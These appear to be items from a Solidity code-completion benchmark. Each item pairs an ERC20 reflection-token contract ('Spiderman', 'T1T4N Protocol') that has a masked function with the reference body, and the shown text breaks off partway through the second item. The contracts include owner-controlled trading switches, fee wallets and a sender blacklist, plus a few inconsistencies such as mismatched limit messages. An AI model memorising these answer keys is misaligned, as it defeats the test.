function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> }
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/3);
_feeAddrWallet2.transfer(amount/3);
_feeAddrWallet3.transfer(amount/3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 800000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract Spiderman is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Spiderman";
string private constant _symbol = "Spiderman";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xdfe64D84100dDB9319FD574a064927Fc111C60fd);
_feeAddrWallet2 = payable(0xdfe64D84100dDB9319FD574a064927Fc111C60fd);
_feeAddrWallet3 = payable(0xdfe64D84100dDB9319FD574a064927Fc111C60fd);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
<FILL_FUNCTION>
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/3);
_feeAddrWallet2.transfer(amount/3);
_feeAddrWallet3.transfer(amount/3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 800000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
| function _transfer(address from, address to, uint256 amount) private | function _transfer(address from, address to, uint256 amount) private |
11889 | T1T4NProtocol | includeAccount | contract T1T4NProtocol is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
struct TokenValues{
uint256 tokenAmount;
uint256 tokenFee;
uint256 tokenBurn;
}
struct ReflectionValues{
uint256 reflectionRate;
uint256 reflectionAmount;
uint256 reflectionFee;
uint256 reflectionBurn;
}
mapping(address => uint256) internal _reflectionBalance;
mapping(address => uint256) internal _tokenBalance;
mapping(address => mapping(address => uint256)) internal _allowances;
string private _name = "T1T4N Protocol";
string private _symbol = "T1T4N";
uint8 private _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 internal _tokenTotal = 4000*10**18;
uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal));
uint256 private _tokenFeeTotal;
uint256 private _tokenBurnTotal;
mapping(address => bool) isExcludedFromFee;
mapping(address => bool) internal _isExcluded;
address[] internal _excluded;
//2%
uint256 public _feeDecimal = 0;
uint256 public _taxFee = 2;
uint256 public _liquidityFee = 2;
uint256 private _previoustaxFee = _taxFee;
//3%
uint256 public _burnFee = 3;
uint256 private _previousBurnFee = _burnFee;
//5%
uint256 public _rebalanceCallerFee = 5;
uint256 public _taxFeeTotal;
uint256 public _burnFeeTotal;
uint256 public _liquidityFeeTotal;
bool public tradingEnabled = false;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public rebalanceEnalbed = true;
uint256 public minTokensBeforeSwap = 50;
uint256 public minEthBeforeSwap = 50;
uint256 public liquidityAddedAt;
uint256 public lastRebalance = now ;
uint256 public rebalanceInterval = 30 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public balancer;
event TradingEnabled(bool enabled);
event RewardsDistributed(uint256 amount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapedTokenForEth(uint256 EthAmount, uint256 TokenAmount);
event SwapedEthForTokens(uint256 EthAmount, uint256 TokenAmount, uint256 CallerReward, uint256 AmountBurned);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() public {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
//@dev Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
balancer = address(new Balancer());
isExcludedFromFee[_msgSender()] = true;
isExcludedFromFee[address(this)] = true;
//@dev Exclude uniswapV2Pair from taking rewards
_isExcluded[uniswapV2Pair] = true;
_excluded.push(uniswapV2Pair);
_reflectionBalance[_msgSender()] = _reflectionTotal;
emit Transfer(address(0), _msgSender(), _tokenTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _tokenTotal;
}
function balanceOf(address account) public override view returns (uint256) {
if (_isExcluded[account]) return _tokenBalance[account];
return tokenFromReflection(_reflectionBalance[account]);
}
function transfer(address recipient, uint256 amount)
public
override
virtual
returns (bool)
{
_transfer(_msgSender(),recipient,amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override virtual returns (bool) {
_transfer(sender,recipient,amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function burnTokens(uint256 amount) public {
address sender = _msgSender();
require(sender != address(0), "ERC20: burn from the zero address");
uint256 rate = _getReflectionRate();
_reflectionBalance[sender] = _reflectionBalance[sender].sub(amount);
if (_isExcluded[sender]) {
_tokenBalance[sender] = _tokenBalance[sender].sub(amount);
}
_tokenTotal = _tokenTotal.sub(amount);
_reflectionTotal = _reflectionTotal.sub(amount.mul(rate));
_burnFeeTotal = _burnFeeTotal.add(amount);
emit Transfer(sender,address(0),amount);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tokenAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tokenAmount <= _tokenTotal, "Amount must be less than supply");
if (!deductTransferFee) {
return tokenAmount.mul(_getReflectionRate());
} else {
return
tokenAmount.sub(tokenAmount.mul(_taxFee).div(10** _feeDecimal + 2)).mul(
_getReflectionRate()
);
}
}
function tokenFromReflection(uint256 reflectionAmount)
public
view
returns (uint256)
{
require(
reflectionAmount <= _reflectionTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getReflectionRate();
return reflectionAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
"AURA: Uniswap router cannot be excluded."
);
require(account != address(this), 'AURA: The contract it self cannot be excluded');
require(!_isExcluded[account], "AURA: Account is already excluded");
if (_reflectionBalance[account] > 0) {
_tokenBalance[account] = tokenFromReflection(
_reflectionBalance[account]
);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {<FILL_FUNCTION_BODY> }
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(tradingEnabled || sender == owner() || recipient == owner() ||
isExcludedFromFee[sender] || isExcludedFromFee[recipient], "Trading is locked before presale.");
//@dev Limit the transfer to 600 tokens for 5 minutes
require(now > liquidityAddedAt + 5 minutes || amount <= 20000e18, "You cannot transfer more than 200 tokens.");
//@dev don't swap or buy tokens when uniswapV2Pair is sender, to avoid circular loop
if(!inSwapAndLiquify && sender != uniswapV2Pair) {
bool swap = true;
uint256 contractBalance = address(this).balance;
//@dev Buy token
if(now > lastRebalance + rebalanceInterval
&& rebalanceEnalbed
&& contractBalance >= minEthBeforeSwap){
buyAndBurnToken(contractBalance);
swap = false;
}
//@dev Buy eth
if(swap) {
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap;
if (overMinTokenBalance && swapAndLiquifyEnabled) {
swapTokensForEth();
}
}
}
uint256 transferAmount = amount;
uint256 rate = _getReflectionRate();
if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient] && !inSwapAndLiquify){
transferAmount = collectFee(sender,amount,rate);
}
//@dev Transfer reflection
_reflectionBalance[sender] = _reflectionBalance[sender].sub(amount.mul(rate));
_reflectionBalance[recipient] = _reflectionBalance[recipient].add(transferAmount.mul(rate));
//@dev If any account belongs to the excludedAccount transfer token
if (_isExcluded[sender]) {
_tokenBalance[sender] = _tokenBalance[sender].sub(amount);
}
if (_isExcluded[recipient]) {
_tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount);
}
emit Transfer(sender, recipient, transferAmount);
}
function collectFee(address account, uint256 amount, uint256 rate) private returns (uint256) {
uint256 transferAmount = amount;
//@dev Tax fee
if(_taxFee != 0){
uint256 taxFee = amount.mul(_taxFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(taxFee);
_reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate));
_taxFeeTotal = _taxFeeTotal.add(taxFee);
emit RewardsDistributed(taxFee);
}
//@dev Take liquidity fee
if(_liquidityFee != 0){
uint256 liquidityFee = amount.mul(_liquidityFee).div(10**(_feeDecimal + 2));
transferAmount = transferAmount.sub(liquidityFee);
_reflectionBalance[address(this)] = _reflectionBalance[address(this)].add(liquidityFee.mul(rate));
_liquidityFeeTotal = _liquidityFeeTotal.add(liquidityFee);
emit Transfer(account,address(this),liquidityFee);
}
return transferAmount;
}
function _getReflectionRate() private view returns (uint256) {
uint256 reflectionSupply = _reflectionTotal;
uint256 tokenSupply = _tokenTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_reflectionBalance[_excluded[i]] > reflectionSupply ||
_tokenBalance[_excluded[i]] > tokenSupply
) return _reflectionTotal.div(_tokenTotal);
reflectionSupply = reflectionSupply.sub(
_reflectionBalance[_excluded[i]]
);
tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]);
}
if (reflectionSupply < _reflectionTotal.div(_tokenTotal))
return _reflectionTotal.div(_tokenTotal);
return reflectionSupply.div(tokenSupply);
}
function swapTokensForEth() private lockTheSwap {
uint256 tokenAmount = balanceOf(address(this));
uint256 ethAmount = address(this).balance;
//@dev Generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//@dev Make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
ethAmount = address(this).balance.sub(ethAmount);
emit SwapedTokenForEth(tokenAmount,ethAmount);
}
function swapEthForTokens(uint256 EthAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: EthAmount}(
0,
path,
address(balancer),
block.timestamp
);
}
function buyAndBurnToken(uint256 contractBalance) private lockTheSwap {
lastRebalance = now;
//@dev Uniswap doesn't allow for a token to by itself, so we have to use an external account, which in this case is called the balancer
swapEthForTokens(contractBalance);
//@dev How much tokens we swaped into
uint256 swapedTokens = balanceOf(address(balancer));
uint256 rewardForCaller = swapedTokens.mul(_rebalanceCallerFee).div(10**(_feeDecimal + 2));
uint256 amountToBurn = swapedTokens.sub(rewardForCaller);
uint256 rate = _getReflectionRate();
_reflectionBalance[tx.origin] = _reflectionBalance[tx.origin].add(rewardForCaller.mul(rate));
_reflectionBalance[address(balancer)] = 0;
_burnFeeTotal = _burnFeeTotal.add(amountToBurn);
_tokenTotal = _tokenTotal.sub(amountToBurn);
_reflectionTotal = _reflectionTotal.sub(amountToBurn.mul(rate));
emit Transfer(address(balancer), tx.origin, rewardForCaller);
emit Transfer(address(balancer), address(0), amountToBurn);
emit SwapedEthForTokens(contractBalance, swapedTokens, rewardForCaller, amountToBurn);
}
function setExcludedFromFee(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function setSwapAndLiquifyEnabled(bool enabled) public onlyOwner {
swapAndLiquifyEnabled = enabled;
SwapAndLiquifyEnabledUpdated(enabled);
}
function setTaxFee(uint256 fee) public onlyOwner {
_taxFee = fee;
}
function setLiquidityFee(uint256 fee) public onlyOwner {
_liquidityFee = fee;
}
function setRebalanceCallerFee(uint256 fee) public onlyOwner {
_rebalanceCallerFee = fee;
}
function setMinTokensBeforeSwap(uint256 amount) public onlyOwner {
minTokensBeforeSwap = amount;
}
function setMinEthBeforeSwap(uint256 amount) public onlyOwner {
minEthBeforeSwap = amount;
}
function setRebalanceInterval(uint256 interval) public onlyOwner {
rebalanceInterval = interval;
}
function setRebalanceEnabled(bool enabled) public onlyOwner {
rebalanceEnalbed = enabled;
}
function enableTrading() external onlyOwner() {
tradingEnabled = true;
TradingEnabled(true);
liquidityAddedAt = now;
}
//to receive ETH from uniswapV2Router when swapping
receive() external payable {}
} | contract T1T4NProtocol is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
struct TokenValues{
uint256 tokenAmount;
uint256 tokenFee;
uint256 tokenBurn;
}
struct ReflectionValues{
uint256 reflectionRate;
uint256 reflectionAmount;
uint256 reflectionFee;
uint256 reflectionBurn;
}
mapping(address => uint256) internal _reflectionBalance;
mapping(address => uint256) internal _tokenBalance;
mapping(address => mapping(address => uint256)) internal _allowances;
string private _name = "T1T4N Protocol";
string private _symbol = "T1T4N";
uint8 private _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 internal _tokenTotal = 4000*10**18;
uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal));
uint256 private _tokenFeeTotal;
uint256 private _tokenBurnTotal;
mapping(address => bool) isExcludedFromFee;
mapping(address => bool) internal _isExcluded;
address[] internal _excluded;
//2%
uint256 public _feeDecimal = 0;
uint256 public _taxFee = 2;
uint256 public _liquidityFee = 2;
uint256 private _previoustaxFee = _taxFee;
//3%
uint256 public _burnFee = 3;
uint256 private _previousBurnFee = _burnFee;
//5%
uint256 public _rebalanceCallerFee = 5;
uint256 public _taxFeeTotal;
uint256 public _burnFeeTotal;
uint256 public _liquidityFeeTotal;
bool public tradingEnabled = false;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public rebalanceEnalbed = true;
uint256 public minTokensBeforeSwap = 50;
uint256 public minEthBeforeSwap = 50;
uint256 public liquidityAddedAt;
uint256 public lastRebalance = now ;
uint256 public rebalanceInterval = 30 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public balancer;
event TradingEnabled(bool enabled);
event RewardsDistributed(uint256 amount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapedTokenForEth(uint256 EthAmount, uint256 TokenAmount);
event SwapedEthForTokens(uint256 EthAmount, uint256 TokenAmount, uint256 CallerReward, uint256 AmountBurned);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() public {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
//@dev Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
balancer = address(new Balancer());
isExcludedFromFee[_msgSender()] = true;
isExcludedFromFee[address(this)] = true;
//@dev Exclude uniswapV2Pair from taking rewards
_isExcluded[uniswapV2Pair] = true;
_excluded.push(uniswapV2Pair);
_reflectionBalance[_msgSender()] = _reflectionTotal;
emit Transfer(address(0), _msgSender(), _tokenTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _tokenTotal;
}
function balanceOf(address account) public override view returns (uint256) {
if (_isExcluded[account]) return _tokenBalance[account];
return tokenFromReflection(_reflectionBalance[account]);
}
function transfer(address recipient, uint256 amount)
public
override
virtual
returns (bool)
{
_transfer(_msgSender(),recipient,amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override virtual returns (bool) {
_transfer(sender,recipient,amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function burnTokens(uint256 amount) public {
address sender = _msgSender();
require(sender != address(0), "ERC20: burn from the zero address");
uint256 rate = _getReflectionRate();
_reflectionBalance[sender] = _reflectionBalance[sender].sub(amount);
if (_isExcluded[sender]) {
_tokenBalance[sender] = _tokenBalance[sender].sub(amount);
}
_tokenTotal = _tokenTotal.sub(amount);
_reflectionTotal = _reflectionTotal.sub(amount.mul(rate));
_burnFeeTotal = _burnFeeTotal.add(amount);
emit Transfer(sender,address(0),amount);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tokenAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tokenAmount <= _tokenTotal, "Amount must be less than supply");
if (!deductTransferFee) {
return tokenAmount.mul(_getReflectionRate());
} else {
return
tokenAmount.sub(tokenAmount.mul(_taxFee).div(10** _feeDecimal + 2)).mul(
_getReflectionRate()
);
}
}
function tokenFromReflection(uint256 reflectionAmount)
public
view
returns (uint256)
{
require(
reflectionAmount <= _reflectionTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getReflectionRate();
return reflectionAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
"AURA: Uniswap router cannot be excluded."
);
require(account != address(this), 'AURA: The contract it self cannot be excluded');
require(!_isExcluded[account], "AURA: Account is already excluded");
if (_reflectionBalance[account] > 0) {
_tokenBalance[account] = tokenFromReflection(
_reflectionBalance[account]
);
}
_isExcluded[account] = true;
_excluded.push(account);
}
<FILL_FUNCTION>
function _approve(
address owner,
address spender,
uint256 amount
) private {
